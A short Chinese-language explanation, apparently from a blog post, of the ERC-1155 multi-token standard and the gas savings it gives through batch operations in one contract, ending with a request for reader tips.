ERC-1155 为在单个合约中实现多种类型的代币标准化了接口。这允许像批量操作和一次性批准多个代币这样的节省 gas 的机制,以及在部署代币合约时的便利。
该标准消除了在管理各种代币集时与多个合约交互的需要,提高了区块链游戏和其他使用多种代币的项目的 gas 效率和用户体验。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!